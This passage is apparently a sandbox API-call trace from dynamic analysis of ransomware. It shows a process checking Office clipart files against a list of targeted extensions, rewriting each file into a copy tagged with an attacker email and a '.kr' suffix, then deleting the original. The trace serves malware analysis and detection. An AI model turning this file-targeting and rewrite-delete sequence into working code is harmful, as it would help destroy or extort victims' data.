(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0203.269] lstrlenW (lpString=".jpg") returned 4 [0203.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0203.269] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0203.269] lstrlenW (lpString="J0099188.JPG") returned 12 [0203.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0203.270] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=9080) returned 1 [0203.270] CloseHandle (hObject=0x3e8) returned 1 [0203.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 0x220 [0203.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0203.271] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.271] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0203.272] GetLastError () returned 0x0 [0203.272] ReadFile (in: hFile=0x3e8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x2378, lpOverlapped=0x0) returned 1 [0203.274] WriteFile (in: hFile=0x560, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x2380, lpOverlapped=0x0) returned 1 [0203.275] ReadFile (in: hFile=0x3e8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0203.275] WriteFile (in: hFile=0x560, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0203.275] SetEndOfFile (hFile=0x560) returned 1 [0203.275] CloseHandle (hObject=0x560) returned 1 [0203.275] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.275] SetEndOfFile (hFile=0x3e8) returned 1 [0203.278] CloseHandle (hObject=0x3e8) returned 1 [0203.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.279] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 1 [0203.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0203.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0203.280] lstrlenW (lpString=".doc") returned 4 [0203.280] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0203.280] lstrlenW (lpString=".docx") returned 5 [0203.280] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0203.280] lstrlenW (lpString=".pdf") returned 4 [0203.280] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0203.280] lstrlenW (lpString=".xls") returned 4 [0203.280] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0203.280] lstrlenW (lpString=".xlsx") returned 5 [0203.280] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0203.280] lstrlenW (lpString=".ppt") returned 4 [0203.280] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0203.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0203.280] lstrlenW (lpString=".zip") returned 4 [0203.280] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0203.280] lstrlenW (lpString=".rar") returned 4 [0203.280] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0203.280] lstrlenW (lpString=".bz2") returned 4 [0203.280] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0203.280] lstrlenW (lpString=".7z") returned 3 [0203.280] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0203.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0203.280] lstrlenW (lpString=".dbf") returned 4 [0203.280] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0203.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0203.280] lstrlenW (lpString=".1cd") returned 4 [0203.280] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0203.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0203.281] lstrlenW (lpString=".jpg") returned 4 [0203.281] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0203.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0203.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0203.281] lstrlenW (lpString=".doc") returned 4 [0203.281] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0203.281] lstrlenW (lpString=".docx") returned 5 [0203.281] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0203.281] lstrlenW (lpString=".pdf") returned 4 [0203.281] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0203.281] lstrlenW (lpString=".xls") returned 4 [0203.281] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0203.281] lstrlenW (lpString=".xlsx") returned 5 [0203.281] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0203.281] lstrlenW (lpString=".ppt") returned 4 [0203.281] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0203.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0203.281] lstrlenW (lpString=".zip") returned 4 [0203.281] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0203.281] lstrlenW (lpString=".rar") returned 4 [0203.281] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0203.281] lstrlenW (lpString=".bz2") returned 4 [0203.281] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0203.281] lstrlenW (lpString=".7z") returned 3 [0203.281] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0203.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0203.281] lstrlenW (lpString=".dbf") returned 4 [0203.281] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0203.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0203.281] lstrlenW (lpString=".1cd") returned 4 [0203.281] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0203.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0203.282] lstrlenW (lpString=".jpg") returned 4 [0203.282] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0203.282] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0203.282] lstrlenW (lpString="J0099189.JPG") returned 12 [0203.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0203.283] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=8076) returned 1 [0203.283] CloseHandle (hObject=0x3e8) returned 1 [0203.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 0x220 [0203.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0203.283] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.284] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0203.285] GetLastError () returned 0x0 [0203.285] ReadFile (in: hFile=0x3e8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1f8c, lpOverlapped=0x0) returned 1 [0203.287] WriteFile (in: hFile=0x560, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1f90, lpOverlapped=0x0) returned 1 [0203.288] ReadFile (in: hFile=0x3e8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0203.288] WriteFile (in: hFile=0x560, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0203.288] SetEndOfFile (hFile=0x560) returned 1 [0203.288] CloseHandle (hObject=0x560) returned 1 [0203.288] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.288] SetEndOfFile (hFile=0x3e8) returned 1 [0203.291] CloseHandle (hObject=0x3e8) returned 1 [0203.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 1 [0203.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0203.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0203.292] lstrlenW (lpString=".doc") returned 4 [0203.292] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0203.292] lstrlenW (lpString=".docx") returned 5 [0203.292] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0203.292] lstrlenW (lpString=".pdf") returned 4 [0203.292] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0203.292] lstrlenW (lpString=".xls") returned 4 [0203.292] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0203.292] lstrlenW (lpString=".xlsx") returned 5 [0203.292] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0203.292] lstrlenW (lpString=".ppt") returned 4 [0203.292] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0203.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0203.292] lstrlenW (lpString=".zip") returned 4 [0203.292] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0203.292] lstrlenW (lpString=".rar") returned 4 [0203.292] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0203.292] lstrlenW (lpString=".bz2") returned 4 [0203.292] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0203.292] lstrlenW (lpString=".7z") returned 3 [0203.292] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0203.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0203.292] lstrlenW (lpString=".dbf") returned 4 [0203.292] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0203.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0203.292] lstrlenW (lpString=".1cd") returned 4 [0203.292] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0203.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0203.293] lstrlenW (lpString=".jpg") returned 4 [0203.293] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0203.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0203.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0203.293] lstrlenW (lpString=".doc") returned 4 [0203.293] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0203.293] lstrlenW (lpString=".docx") returned 5 [0203.293] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0203.293] lstrlenW (lpString=".pdf") returned 4 [0203.293] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0203.293] lstrlenW (lpString=".xls") returned 4 [0203.293] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0203.293] lstrlenW (lpString=".xlsx") returned 5 [0203.293] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0203.293] lstrlenW (lpString=".ppt") returned 4 [0203.293] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0203.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0203.293] lstrlenW (lpString=".zip") returned 4 [0203.293] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0203.293] lstrlenW (lpString=".rar") returned 4 [0203.293] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0203.293] lstrlenW (lpString=".bz2") returned 4 [0203.293] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0203.293] lstrlenW (lpString=".7z") returned 3 [0203.293] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0203.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0203.293] lstrlenW (lpString=".dbf") returned 4 [0203.293] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0203.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0203.294] lstrlenW (lpString=".1cd") returned 4 [0203.294] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0203.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0203.294] lstrlenW (lpString=".jpg") returned 4 [0203.294] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0203.294] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0203.294] lstrlenW (lpString="J0099190.JPG") returned 12 [0203.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0203.371] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=43892) returned 1 [0203.371] CloseHandle (hObject=0x574) returned 1 [0203.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 0x220 [0203.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0203.373] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.373] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0203.375] GetLastError () returned 0x0 [0203.375] ReadFile (in: hFile=0x574, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xab74, lpOverlapped=0x0) returned 1 [0203.378] WriteFile (in: hFile=0x578, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xab80, lpOverlapped=0x0) returned 1 [0203.379] ReadFile (in: hFile=0x574, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0203.379] WriteFile (in: hFile=0x578, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0203.380] SetEndOfFile (hFile=0x578) returned 1 [0203.380] CloseHandle (hObject=0x578) returned 1 [0203.380] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.380] SetEndOfFile (hFile=0x574) returned 1 [0203.383] CloseHandle (hObject=0x574) returned 1 [0203.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 1 [0203.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0203.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0203.385] lstrlenW (lpString=".doc") returned 4 [0203.385] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0203.385] lstrlenW (lpString=".docx") returned 5 [0203.385] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0203.385] lstrlenW (lpString=".pdf") returned 4 [0203.385] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0203.385] lstrlenW (lpString=".xls") returned 4 [0203.385] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0203.385] lstrlenW (lpString=".xlsx") returned 5 [0203.385] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0203.385] lstrlenW (lpString=".ppt") returned 4 [0203.385] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0203.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0203.385] lstrlenW (lpString=".zip") returned 4 [0203.385] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0203.385] lstrlenW (lpString=".rar") returned 4 [0203.385] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0203.385] lstrlenW (lpString=".bz2") returned 4 [0203.385] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0203.385] lstrlenW (lpString=".7z") returned 3 [0203.385] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0203.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0203.385] lstrlenW (lpString=".dbf") returned 4 [0203.385] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0203.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0203.385] lstrlenW (lpString=".1cd") returned 4 [0203.385] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0203.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0203.385] lstrlenW (lpString=".jpg") returned 4 [0203.385] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0203.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0203.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0203.386] lstrlenW (lpString=".doc") returned 4 [0203.386] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0203.386] lstrlenW (lpString=".docx") returned 5 [0203.386] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0203.386] lstrlenW (lpString=".pdf") returned 4 [0203.386] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0203.386] lstrlenW (lpString=".xls") returned 4 [0203.386] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0203.386] lstrlenW (lpString=".xlsx") returned 5 [0203.386] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0203.386] lstrlenW (lpString=".ppt") returned 4 [0203.386] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0203.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0203.386] lstrlenW (lpString=".zip") returned 4 [0203.386] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0203.386] lstrlenW (lpString=".rar") returned 4 [0203.386] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0203.386] lstrlenW (lpString=".bz2") returned 4 [0203.386] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0203.386] lstrlenW (lpString=".7z") returned 3 [0203.386] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0203.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0203.386] lstrlenW (lpString=".dbf") returned 4 [0203.386] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0203.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0203.386] lstrlenW (lpString=".1cd") returned 4 [0203.386] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0203.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0203.386] lstrlenW (lpString=".jpg") returned 4 [0203.386] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0203.387] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0203.387] lstrlenW (lpString="J0099192.GIF") returned 12 [0203.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), 